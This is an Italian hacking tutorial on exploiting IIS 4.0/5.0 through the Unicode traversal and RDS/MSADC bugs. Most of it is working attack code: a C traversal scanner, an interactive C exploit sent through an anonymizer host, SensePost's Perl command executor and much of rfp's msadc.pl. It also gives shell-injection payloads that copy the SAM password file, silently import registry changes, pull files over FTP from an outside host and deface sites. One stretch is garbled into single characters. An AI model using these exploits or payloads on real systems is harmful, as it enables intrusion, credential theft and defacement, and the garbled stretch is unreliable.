#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#define SEND 100000
#define RECIVE
1000000
char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[SEND]="";
char *pt=strstr(string,orig);
strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}
/***************************************************************************/
int main(int argc,char *argv[])
{
int sockfd, numbytes;
char recv_buf[RECIVE];
int i;
int port;
char *uni[]={
"..%c0%af..",
"..%c0%af../..%c0%af../..%c0%af..",
"..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"..%c1%1c..",
"..%c1%1c../..%c1%1c../..%c1%1c..",
"..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..",
"..%252f..",
"..%252f../..%252f../..%252f..",
"..%252f..%252f..%252f..%252f..%252f..",
"..%252e..",
".%252e..",
"..%252e../..%252e../..%252e..",
"..%252e..%252e..%252e..%252e..%252e..",
"..%c0%9v..",
"..%c0%9v../..%c0%9v../..%c0%9v..",
"..%c0%9v..%c0%9v..%c0%9v..%c0%9v..%c0%9v..",
"..%c0%qf..",
"..%c0%qf../..%c0%qf../..%c0%qf..",
"..%c0%qf..%c0%qf..%c0%qf..%c0%qf..%c0%qf..",
"..%c1%8s..",
"..%c1%8s../..%c1%8s../..%c1%8s..",
"..%c1%8s..%c1%8s..%c1%8s..%c1%8s..%c1%8s..",
"..%c1%9c..",
"..%c1%9c../..%c1%9c../..%c1%9c..",
"..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..",
"..%c1%pc..",
"..%c1%pc../..%c1%pc../..%c1%pc..",
"..%c1%pc..%c1%pc..%c1%pc..%c1%pc..%c1%pc..",
"..%255c..",
"..%255c../..%255c../..%255c..",
"..%255c..%255c..%255c..%255c..%255c..",
"..%5c..",
"..%5c../..%5c../..%5c..",
"..%5c..%5c..%5c..%5c..%5c..",
"..%%35c..",
"..%%35c../..%%35c../..%%35c..",
"..%%35c../..%%35c../..%%35c",
//last news
"..%%35c..%%35c..%%35c..%%35c..%%35c..",
"..%%35%63..",
"..%%35%63../..%%35%63../..%%35%63..",
"..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..",
"..%25%35%63..",
"..%25%35%63../..%25%35%63../..%25%35%63..",
"..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63.."
};
char *path[]={
"/scripts/#uni/winnt/system32/cmd.exe?/c+",
"/scripts/#uniwinnt/system32/cmd.exe?/c+",
"/msadc/#uni/winnt/system32/cmd.exe?/c+",
"/cgi-bin/#uni/winnt/system32/cmd.exe?/c+",
"/samples/#uni/winnt/system32/cmd.exe?/c+",
"/iisadmpwd/#uni/winnt/system32/cmd.exe?/c+",
"/_vti_cnf/#uni/winnt/system32/cmd.exe?/c+",
"/_vti_bin/#uni/winnt/system32/cmd.exe?/c+",
"/exchange/#uni/winnt/system32/cmd.exe?/c+",
"/pbserver/#uni/winnt/system32/cmd.exe?/c+",
"/adsamples/#uni/winnt/system32/cmd.exe?/c+"
};
int cont=0;
char send_buf[SEND]="";
int x,j;
int uni_len=sizeof(uni)/sizeof(char *);
int path_len=sizeof(path)/sizeof(char *);
struct hostent *he;
struct sockaddr_in their_addr;
if(argc!=4)
{
fprintf(stderr,"usage:%s <hostname> <port> <commands>\n",argv[0]);
exit(1);
}
if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}
port=atoi(argv[2]);
/***************************************************************************/
for(x=0;x<path_len;x++)
for(j=0;j<uni_len;j++)
{
sprintf(send_buf,"GET %s%s HTTP/ 1.0\n\n", path[i],argv[3] );
str_replace(uni[j],"#uni",send_buf);
if(cont==200) {
sleep(3);
cont=0;
}
cont++;
sleep(1);
if( fork()!=0)
{
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("socket");
exit(1);
}
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(port);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
close(sockfd);
exit(0);
}
close(sockfd);
while(waitpid(-1,NULL, WNOHANG) > 0);
}
printf("Done...\n");
return 0;
}
Un ulteriore exploits parametrizabile quello che segue :
/* hack IIS 4.0/5.0 with the usefull UNICODE :) and have fun */
/* coded by zipo */
/* to compile: cc -o iisuni iisuni.c */
/* made for all the lame populus :) */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define BUFF_LEN 6000
#define HTTP " HTTP/1.0\r\n\r\n"
#define GET "GET http://"
/* this is the anonymous server used */
#define ANON "anon.free.anonymizer.com"
/* this are all the types of bugs */
#define BUG1_STR
"/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
#define BUG2_STR "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+"
#define BUG3_STR
"/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
#define BUG4_STR "/"
/* this is the IIS http server port */
#define HTTP_PORT 80
int main (int argc, char *argv[]) {
struct sockaddr_in sin;
struct hostent *he;
char *bug,cmd[BUFF_LEN],recbuffer[BUFF_LEN],buffer[BUFF_LEN];
int sck, i;
if (argc < 3)
bad_params (argv[0]);
switch (atoi(argv[2])) {
case 1:
bug = BUG1_STR;
break;
case 2:
bug = BUG2_STR;
break;
case 3:
bug = BUG3_STR;
break;
case 4:
bug = BUG4_STR;
break;
default:
printf ("Number error\n");
exit(1);
}
while (1) {
printf ("bash# ");
fgets (cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '\0';
if (strcmp(cmd, "exit")) {
if (!strcmp(cmd, "clear")) {
system("clear");
continue;
} else if (!strcmp(cmd, "")) {
continue;
} else if (!strcmp(cmd, "?")) {
printf ("Just you need to type in the prompt the M$DOS
command\n");
printf ("to exit type \"exit\" :)\n");
continue;
}
/* prepare the string to be sent */
for (i=0;i<=strlen(cmd);i++) {
if (cmd[i] == 0x20)
cmd[i] = 0x2b;
}
sprintf (buffer, "%s%s%s%s%s", GET, argv[1], bug, cmd, HTTP);
/* get ip */
if ((he = gethostbyname (ANON)) == NULL) {
herror ("host error");
exit (1);
}
/* setup port and other parameters */
sin.sin_port = htons (HTTP_PORT);
sin.sin_family = AF_INET;
memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);
/* create a socket */
if ((sck = socket (AF_INET, SOCK_STREAM, 6)) < 0) {
perror ("socket() error");
exit (1);
}
/* connect to the sucker */
if ((connect (sck, (struct sockaddr *) &sin, sizeof (sin))) < 0) {
perror ("connect() error");
exit (1);
}
/* send the beautifull string */
write (sck, buffer, sizeof(buffer));
/* recive all ! :) */
read (sck, recbuffer, sizeof(recbuffer));
/* and print it */
recbuffer[strlen(recbuffer)-1]='\0';
printf
("\033[0;7m-------------------------------------Received----------------------------------\n");
printf
("%s\n---------------------------------------Done------------------------------------\n\033[7;0m", recbuffer);
/* close the socket ... not needed any more */
close (sck);
/* put zero's in the buffers */
bzero (buffer, sizeof(buffer));
bzero (recbuffer, sizeof(recbuffer));
} else {
/* you type "exit" cya :) */
exit(0);
}
}
}
/* you miss a parameter :'-( */
int bad_params (char *prog_name) {
fprintf (stdout, "usage:\n\t%s <hostname> <number>\n", prog_name);
fprintf (stdout,
"-------------------------------------------------------\n");
fprintf (stdout, "<1> msadc\t");
fprintf (stdout, "<2> scripts\t");
fprintf (stdout, "<3> iisadmpwd\t");
fprintf (stdout, "<4> /\n");
fprintf (stdout,
"-------------------------------------------------------\n");
exit (1);
}
/* EOF */
Lultimo sorgente indirizzato ad eseguire un comando sul sistema remoto lo vedamo scritto in
PERL.
#!/usr/bin/perl
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
# The script checks for this.
# Thnx to [email protected] for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26
# [email protected] http://www.sensepost.com
use Socket;
# --------------init
if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
# --------------test if cmd has been copied:
$failed=1;
$command="dir";
@results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /sensepost.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
print "Sensepost.exe not found - Copying CMD...\n";
$command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /copied/ )) {$failed2=0;}
}
if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
}
# ------------ we can assume that the cmd.exe is copied from here..
$command=@ARGV[1];
print "Sensepost.exe found - Executing [$command] on $host:$port\n";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command
HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP [email protected]
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
Tra le varie utilities che sono reperibili sulla rete ne esistono alcune che funzionano grazie a
un interfaccia utente in ambiente WINDOWS.
Una di queste si chiama IIS4-5.EXE.
Limmagine che segue la maschera di lavoro del programma.
Se la risposta :
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 04 Feb 2001 12:43:21 GMT
Content-Type: application/x-varg
Content-Length: 6
allora il server vulnerabile.
La verifica invece relativa alla disponibilit di RDS e quella invece legata al suo corretto
funzionamento pu essere fatta inviando mediante il metodo POST una delle seguenti query
RDS :
Normal QUERY
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
VbBusObj to bypass custom handlers
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset
Query VbBusObj for NetBIOS name
/msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName
Si.RDS in funzione se la risposta :
User-Agent:
ACTIVEDATA
Host: lab.wiretrip.net
Content-Length: 645
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; numargs=3
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: 436
'!ADM!ROX!YOUR!WORLD!' di fatto una stringa MIME di separazione che come vedremo
viene utilizzata anche da MSADC.PL
Il test di funzionamento di RDS pu anche avvenire cercando di creare un file chiamato FUN
e inserendogli dentro il testo WERD.
S
l
=
=
u
e
l
{
c
s
l
(
M
:
t
e
"
i
\
m
c
c
c
w
r
t
m
r
i
.
*
d
o
n
m
f
/
s
n
d
r
c
o
t
b
o
e
f
\
;
m
c
t
h
C
h
A
e
u
o
c
l
s
w
c
p
t
e
e
\
o
r
s
i
m
d
s
i
e
>
D
s
r
>
r
\
s
c
i
h
w
:
v
t
h
\
e
m
e
f
r
\
r
u
(
t
e
n
*
u
C
"
.
t
i
)
m
o
t
|
d
r
y
'
b
i
=
d
)
a
'
r
}
l
|
i
;
\
s
v
d
b
h
e
b
t
e
r
q
c
GET
/msadc/..../..../..../winnt/system32/cmd.exe?/c+copy+C:\winnt\s
ystem32\cmd.exe+cmd1.exe HTTP/1.1
Copia CMD.EXE nella directory dove lhacker intende usarlo.
Il comando server a riscrivere default.html, cosa utilizzata quando si esegue un defacement di
un sito.
Come abbiamo gi visto esistono alcuni file che possono essere considerati le basi per
riuscire a crearsi delle shell nei sistemi remoti e precisamente ROOTKIT e NETCAT.
Il fatto che in qualche caso esiste la necessit di copiare dentro ad un sistema dei files ci
porta a considerare il seguente metodo per eseguire queste funzioni tra i metodo pi utili
eseguibili com questo tipo di attacco.
Nellesempio che segue viene utilizzato FTP per trasferire dei files da o verso il sistema.
FTP Execution String via RDS:
Select * from Customers where City ='|shell("cmd /c ftp-s:ftpcomnwww.nether.net")|'driver={Microsoft Access Driver (*.mdb)};
dbq=c:winnt\help\iis\htmtutorial\btcustmr.mdb;
--!ADM!ROX!YOUR!WORLD!^x
220 freenet.nether.net FTP server (SunOS 5.7) ready.
#
#
#
EOT
;
$msadc=~s/\n/\r\n/g;
return $msadc;}
##############################################################################
sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;
if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City='|shell(\"$command\")|'";
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}
elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C='|shell(\"$command\")|'";
$dsn="$p1";}
elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}
elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}
elsif ($switch==6){ # this is table-independant query (new)
$query="select * from MSysModules where name='|shell(\"$command\")|'";
$dsn="$p1";}
$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}
##############################################################################
sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}
##############################################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}
##############################################################################
sub make_dsn { # this (tries to) make a DSN for us
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}
##############################################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}
##############################################################################
sub try_btcustmr {
foreach $dir (@sysdirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";
save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;");
exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
##############################################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##############################################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}
##############################################################################
sub save {
my ($p1)=@_; my $ropt="";
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
if (defined $args{c}){ $ropt="c ";}
if (defined $args{V}){ $ropt.="V ";}
if (defined $args{w}){ $ropt.="w ";}
print OUT "v2\n$ip\n$ropt\n$p1\n";
close OUT;}
##############################################################################
sub load {
my ($action)=@_;
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
die("Wrong rds.save version") if $p[0] ne "v2\n";
$ip="$p[1]"; $ip=~s/\n//g;
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
@switches=split(/ /,$p[2]);
foreach $switch (@switches) {
$args{$switch}="1";}
if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
print "Type the command line you want to run ($comm assumed):\n"
. "$comm ";
$in=<STDIN>;
chomp $in;
if(create_table($drv.$drive.":\\".$dir.$mdb)){
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit;
}}}}}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv.$drive.":".$mdb)){
if(run_query($drv.$drive.":".$mdb)){
print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit;
}}}}
}
##############################################################################
sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}
##############################################################################
sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
if(run_query("DSN=$dSn")){
print "Success!\n"; save ("dsn=$dSn"); exit; }}}
print "\n"; close(IN);}
##############################################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) { # assume there's less than 500 headers
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
return -1;} # it should never get here actually
##############################################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}
if($error=~/server has denied access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}
##############################################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep("^Server:",@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}
##############################################################################
sub use_unc {
$uncpath=$args{u};
$driverline="driver={Microsoft Access Driver (*.mdb)};dbq=";
if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){
print
"Your UNC path sucks. You need the following format:\n".
"\\server(ip preferable)\share\some-file.mdb\n\n"; exit; }
if(create_table($driverline.$uncpath)){
if(run_query($driverline.$uncpath)){
print "Success!\n"; save ("dbq=".$uncpath); exit;}}
}
##############################################################################
sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
--!ADM!ROX!YOUR!WORLD!-EOT
; $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}
##############################################################################
# special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm,
# #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and
# good friends!), wiretrip, l0pht, nmrc & all of phrack
#
# thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice
#
# I wish I could really name everyone, but I can't. Don't feel slighted if
# your not on the list... :)
##############################################################################
Sempre in rete possibile reperire un infinit di utilities le quali sono indirizzate allesecuzione
di questo tipo di exploit mediante un interfaccia grafica.
Una di queste rimane residente nella toolbar dei programmi attivi, quella in basso a destra, e
quindi possibile richiamarla ogni qualvolta se ne richieda luso.
Il programma si chiama RDSExploit.
Per capire come di fatto questo funziona possibile utilizzare una tecnica di sniffing
indirizzata a vedere i dati trasmessi dal programma e un sito qualsiasi non soggetto al BUG.
Questa metodologia si basa sulla ricostruzione della sessione TCP fatta da COMMVIEW.
In pratica inseriamo un URL dentro al programma e richiediamo a COMVIEW di farci vedere
la connessione eseguita con questo sito.
A questo punto selezioniamo la riga con la connessione e mediante lopzione che viene
mostrata premendo il tasto destro del mouse, jump to first racket of , andiamo sul primo
pacchetto di questa.
Scegliamo la voce di menu TOOLS e poi quella relativa alla ricostruzione di tutta le sessione
TCP.
Nella finestra ci verr mostrata tutta le sequenza di dati scambiata tra noi e il sto di
destinazione.
I dati scritti in rosso sono quelli inviati mentre quelli blu sono quelli ricevuti.
COMMVIEW ci d la possibilit di vedere in diversi formati le informazioni e precisamente in
ASCII, ESADECIMALE ecc.
Il testo usato dal programma e quello ricevuto :
POST /msadc/msadcs.dll/AdvancedDataFactory.Execute HTTP/1.1
User-Agent: ACTIVEDATA
Host: www.inalessandria.it
Content-Length: 649
Connection: Keep-Alive
Cache-Control: no-cache
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=/o)vc.ct6oziz-lo?/s0; numargs=10
--/o)vc.ct6oziz-lo?/s0
Content-Type: application/x-varg
Content-Length: 439
....................J...C.o.m.m.a.n.d. .T.i.m.e.
.O.u.t.=.~.3.0.;.B.a.t.c.h. .S.i.z.e.=.~.1.5.;.U.p.d.a.t.e.
.C.r.i.t.e.r.i.a.=.~.2.;.B.a.c.k.g.r.o.u.n.d. .F.e.t.c.h.
.S.i.z.e.=.~.1.5.;.I.n.i.t.i.a.l. .F.e.t.c.h.
.S.i.z.e.=.~.5.0.;.B.a.c.k.g.r.o.u.n.d. .t.h.r.e.a.d.
.P.r.i.o.r.i.t.y.=.~.3.;.A.u.t.o.
.R.e.c.a.l.c.=.~.1.;.U.p.d.a.t.e.
.R.e.s.y.n.c.=.~.1.........0...S.E.L.E.C.T. .*. .F.R.O.M.
.P.r.o.d.u.c.t.s.
.
..............M.o.d.e.=.3.
--/o)vc.ct6oziz-lo?/s0-HTTP/1.1 100 Continue
Server: Microsoft-IIS/4.0
Date: Sun, 10 Mar 2002 10:47:43 GMT
HTTP/1.1 405 Method not allowed
Server: Microsoft-IIS/4.0
Date: Sun, 10 Mar 2002 10:47:43 GMT
Connection: close
Allow: OPTIONS, TRACE, GET, HEAD, PUT, DELETE, POST
Content-Length: 545
Content-Type: text/html
<html><head><title>Error 405</title>
<meta name="robots" content="noindex">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-88591"></head>
<body>
<h2>HTTP Error 405</h2>
<p><strong>405 Method Not Allowed</strong></p>
<p>The method specified in the Request Line is not allowed for the
resource identified by the request. Please ensure that you have the
proper MIME type set up for the resource you are requesting.</p>
<p>Please contact the server's administrator if this problem
persists.</p>
</body></html>
La visualizzazione in questo modo semplifica lindividuazione precisa del metodo usato per
inoltrare la query.
Links
- Office 97/Jet 3.5 update binary (i386)
http://www.wiretrip.net/rfp/bins/msadc/jetcopkg.exe
http://officeupdate.microsoft.com/isapi/gooffupd.asp
?TARGET=/downloaditems/JetCopkg.exe
- Microsoft Universal Data Access homepage
http://www.microsoft.com/data/
- MDAC 2.1.2.4202.3 (GA) (aka MDAC 2.1 sp2) update (i386)
http://www.wiretrip.net/rfp/bins/msadc/mdac_typ.exe
http://www.microsoft.com/data/download_21242023.htm
- MDAC 2.1.1.3711.11 (GA) (aka MDAC 2.1 sp1) hotfix
http://www.microsoft.com/data/download/jetODBC.exe
- MDAC 2.1 release manifest
http://www.microsoft.com/data/MDAC21info/MDAC21sp2manifest.htm
- MDAC 2.1 installation FAQ
http://www.microsoft.com/data/MDAC21info/MDACinstQ.htm
- Security Implications of RDS 1.5, IIS 3.0 or 4.0, and ODBC
http://support.microsoft.com/support/kb/articles/q184/3/75.asp
- Unauthorized ODBC Data Access with IIS and RDS (MS99-004)
http://www.microsoft.com/security/bulletins/ms98-004.asp
- Re-release of MS99-004 (MS99-025)
http://www.microsoft.com/security/bulletins/ms99-025.asp
- MS99-025 FAQ (best explanation of problem by Microsoft)
http://www.microsoft.com/security/bulletins/MS99-025faq.asp
A causa di questo, dato che non potete includere la barra verticale in una stringa letterale,
dovrete utilizzare la funzione Chr() per poterlo fare.
Usando Chr(124) come se usaste la barra verticale.
Qualsiasi dei dati inclusi in una Jet SQL query possono contenere degli statement quotati
VBA, infatti qualsiasi funzione listata nel "Functions Reference" di VBA viene valutata e quindi
funziona, bench questo sembri essere differente da versione a versione del Jet engine
stesso.
Per esempio in alcuni casi la funzione "eval" funziona mentre in altri casi no.
Il comando pi utilizzato il comando "shell", sebbene questo di per se stesso non possa
eseguire redirezioni o pipes.
Utilizzando la funzione shell ed eseguendo il file cmd.exe, un attaccante pu eseguire
qualsiasi comando sul sistema.
environ() pu anche essere usato per usare I valori delle variabili di environment allinterno
dei vostri comandi, e chr() pu essere veramente funzionale per quotare dei caratteri
alfanumerici e parentesi.
Ci sono anche funzioni standard del tipo di iif() e altri operatori legati alle operazioni sulle
stringhe (usate "&" per la concatenazione).
Un esempio pratico di uso dei caratteri di pipe :
|shell("cmd /c echo " & chr(124) & " format a:")|
Il comando precedente formatta il floppy.
Qualsiasi errore viene ignorato.
Luso di "cmd /c" permette al comando di ricevere un newline allinterno del comando di
format, altrimenti il pipe e il format verrebbero passati come argomento all 'echo'.
Questa stringa pu essere inclusa in qualsiasi cosa da una semplice operazione ODBC a un
oggetto di testo dentro un form ASP di una pagina WEB.
Un esempio pi sofisticato riguarda il fatto di afferrare una copia del SAM:
|shell("cmd /c rdisk /S-")|
|shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|
I comandi possono essere accatasati:
|shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \ >> %temp%\foo.txt") &
shell("cmd /c echo 3 >> %temp%\foo.txt")|
Mediante questi comandi sarebbe al limite possibile anche modificare delle voci dentro al
registro.
Questo teoricamente non potrebbe essere possibile farlo in modo diretto ma mediante un
stratagemma si.
Il altre parole potrebbe essere possibile creare da prima un file .REG e successivamente
inserirlo detro al registro di Windows.
"cmd /c regedit /s %temp%\tmp.reg";
Il comando '/s' importante in quanto sopprime la finestra informativa che segnalerebbe
lavvenuta modifica del registro.
Per fare un esempio possiamo usare un file di esempio il quale nella normalit dovrebbe
essere richiamato con :
http://www.example.com/scripts/samples/details.idc?Fname=&Lname
Ora sostituiamo lultima parte con :
details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|
Questa usa un nome DSN chiamato "Web SQL".
La tabella attuale deve essere inizializzata dentro al DSN mediante il seguente codice :
http://www.example.com/scripts/samples/ctguestb.idc
Ritornando alla teoria degli ODBC possiamo dire che una determinata applicazione pu
connettersi al servizio ODBC specificando il nome del DSN il quale generalmente viene
creato tramite lapposito applet presente nel pannello di controllo chiamato ODBC32.
Ogni singolo DSN composto da un nome, da una descrizione, dal driver da utilizzare (ad
esempio ACCESS o SQLSERVER) e dalla locazione del file di dati.
I DSN possono utilizzare qualsiasi driver legato allaccesso ai pi disparati sistemi di
database.
